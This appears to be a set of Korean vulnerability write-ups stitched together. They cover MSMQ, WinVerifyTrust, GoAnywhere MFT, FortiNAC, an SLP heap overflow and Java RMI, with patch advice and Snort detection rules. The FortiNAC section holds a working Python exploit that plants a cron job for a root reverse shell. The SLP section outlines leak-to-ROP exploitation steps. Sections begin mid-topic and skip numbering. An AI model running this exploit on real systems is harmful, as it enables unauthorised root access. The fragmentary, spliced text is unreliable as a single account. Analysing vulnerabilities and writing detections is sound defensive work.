- 프로세스 또는 프로그램 간에 데이터를 교환할 때 사용하는 통신 방법 중에 하나로, 메시지를 임시로 저장하는 일종의 버퍼로 볼 수 있음
- 메시지 지향 미들웨어(Message Oriented Middleware:MOM)를 구현한 시스템으로 프로그램(프로세스) 간의 데이터를 교환할 때 사용하는 기술
메시지 지향 미들웨어 - 메시지를 전달하는 과정에서 보관하거나 라우팅 및 변환할 수 있다는 장점을 가짐 ① 보관: 메시지의 백업을 유지함으로써 지속성을 제공하여 송수신 측은 동시에 네트워크 연결을 유지할 필요 없음 ② 라우팅 : 미들웨어 계층 자신이 직접 메시지 라우팅이 가능하기 때문에, 하나의 메시지를 여러 수신자에게 배포가 가능(멀티캐스트) ③ 변환 : 송수신 측의 요구에 따라 메시지를 변환할 수 있음
- 대용량 데이터를 처리하기 위한 배치 작업이나, 채팅 서비스, 비동기 데이터를 처리할 때 활용
1.1 장점
- 비동기(Asynchronous) : 데이터를 수신자에게 바로 보내지 않고 큐에 넣고 관리하기 때문에 나중에 처리 가능
- 비동조(Decoupling) : 애플리케이션과 분리할 수 있기 때문에 확장이 용이해짐
- 탄력성(Resilience) : 일부가 실패하더라도 전체에 영향을 주지 않음
- 과잉(Redundancy) : 실패할 경우 재실행 가능
- 보증(Guarantees) : 작업이 처리된 걸 확인할 수 있음
- 확장성(Scalable) : N:1:M 구조로 다수의 프로세스들이 큐에 메시지를 보낼 수 있음
2. 취약점
- Microsoft Message Queuing(이하 MSMQ)에서 발생하는 원격 코드 실행 취약점으로 CVSS 9.8할당받음
- 해당 취약점은 QueueJumper라고도 불림
- MSMQ는 TCP, UDP 모두 1801 포트 사용
영향받는 버전 - Window 10 - Window 11 - Window Server 2008 ~ 2022
2.1 설명
- 공격자가 악성 MSMQ 패킷을 MSMQ 서버 1801 Port로 전송하면 서버측에서 인증 없이 원격 코드가 실행됨
> 구체적인 PoC 등은 확인되지 않는 것으로 판단됨.
- 보안업체 Check Point Research에서 해당 취약점과 관련된 조사를 수행 [3]
> 네트워크에 36만개 이상의 호스트가 1801/TCP를 개방하고 MSMQ 서비스를 제공
> MSMQ는 기본적으로 비활성화되어 있으나, 일부 MS 관련 프로그램 설치 시 앱이 백그라운드에서 MSMQ를 활성화
※ ex) Microsoft Exchange Server 설치 중 'Automatically install Windows Server roles and features that are required to install Exchange' 옵션을 체크하여 설치할 경우
- 보안업체 GreyNoise에서는 해당 취약점과 관련된 2개의 크롤러를 공개하였고, 수치를 그래프로 보여줌 [4]
> 크롤러 1: MSMQ가 활성화된 장치 검색
> 크롤러 2: MSMQ 패킷에 대한 응답이 존재하는 장치 검색
> MS가 정기 보안 업데이트를 권고한 23.04.11 이후 그래프가 급증하는 것을 확인할 수 있음
3. 대응
① MS에서 제공하는 최신 보안패치 적용 [5]
② 1801/TCP 포트가 외부에 오픈되지 않도록 차단
③ 보안패치 적용이 어려울 경우 MSMQ 비활성화
- 제어판 > 프로그램 및 기능 > Windows 기능 켜기/끄기 > MSMQ 선택 여부 확인
- 취약한 버전의 WindowWinVerifyTrust 함수의 서명 유효성 검사 취약점으로인해 발생하는 임의 코드 실행 취약점
- 공격자는 해당 취약점을 악용해 기존 서명을 유지하고, 서명된 파일을 수정하여 파일에 악성 코드 추가 가능
영향받는 버전 ① Microsoft Windows XP SP2 및 SP3 ② Windows Server 2003 SP2 ③ Windows Vista SP2 ④ Windows Server 2008 SP2 및 R2 SP1 ⑤ Windows 7 SP1 ⑥ Windows 8 ⑦ Windows 8.1 ⑧ Windows Server 2012 Gold 및 R2 ⑨ Windows RT Gold 및 8.1
3. 대응방안
① 벤더사 제공 업데이트 적용 [5]
- MS는 Windows Authenticode로 서명된 바이너리들의 인증 방식 자체를 변경 > 서명된 바이너리를 누군가 변경하면 해당 바이너리를 더 이상 서명된 바이너리로 윈도우가 인식하지 않도록 한 것 > ‘옵트인’ 방식으로 이루어졌으며, 사용자들이 패치를 적용할 것인지 말 것인지를 선택하도록 함
※ 옵트인: 당사자가 개인 데이터 수집을 허용하기 전까지 당사자의 데이터 수집을 금지하는 제도
- 그러나, 2014.07.29 Microsoft는 더 이상 지원되는 Microsoft Windows 릴리스의 기본 기능으로 더 엄격한 확인 동작을 시행할 계획이 없다고 발표
> 사실상 패치가 되지 않은 채(사용자 스스로 패치를 진행하지 않는 이상) 사용 중
- 레지스트리 편집을 통해 취약점 수정이 가능 [6][7]
> 해당 취약점에 관한 실질적인 조치 방안이 아닌것으로 확인됨
> 레지스트리를 수정하여도 Window 업데이트 시 해당 레지스트리가 삭제되기 때문
- 23.04 Microsoft는 해당 취약점을 포함한 총 97개의 보안 패치를 발표 [8][9]
> 또한 제로데이 취약점과, 초고위험도 취약점 및 랜섬웨어 유포에 악용된 취약점이 포함되어 있어 패치 적용 필수
- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행
> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함
② 추가 대응
- 벤더사에서는 2가지 완화 방안을 제공
> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인
> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집
3.2 네트워크 측면
- 보안 장비에 탐지 패턴 적용
alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)
- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션
2. 취약점
- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점
- Fortinet 보안팀에서 제일 먼저 발견
영향받는 버전 - FortiNAC 버전 9.4.0 - FortiNAC 버전 9.2.0 ~ 9.2.5 - FortiNAC 버전 9.1.0 ~ 9.1.7 - FortiNAC 8.8 모든 버전 - FortiNAC 8.7 모든 버전 - FortiNAC 8.6 모든 버전 - FortiNAC 8.5 모든 버전 - FortiNAC 8.3 모든 버전
2.1 분석 [6]
- 취약점은 keyUpload.jsp에서 발생
- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.
- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가
- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행
- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)
- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨
2.2 PoC [5]
- PoC를 확인해보면 총 2가지로 이루어져 있음
① 공격을 위한 파일 생성
② 업로드한 공격 파일 업로드
- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성
> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
> FortiNAC 버전 9.4.1 이상 >FortiNAC 버전 9.2.6 이상 >FortiNAC 버전 9.1.8 이상 >FortiNAC 버전 7.2.0 이상
- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨
② /bsc/logs/output.master 로그 확인
- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능
tail -f /bsc/logs/output.master
③ cron 확인
- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치
3.2 네트워크 측면
① 탐지 정책 적용 및 모니터링
alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)
① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋
② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음
③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음
④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.
⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작
ROP(Return-Oreinted-Programming) - ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격 - 총 두가지 과정으로 나뉘어짐 ① 공격을 하기위해 필요한 요소들을 구하는 과정 ② ①에서 구한 요소들을 가지고 Exploit
2.2 PoC
- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨
Java RMI - 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술 - 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출 - 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용 - 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용
Weblogic T3 프로토콜 - WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜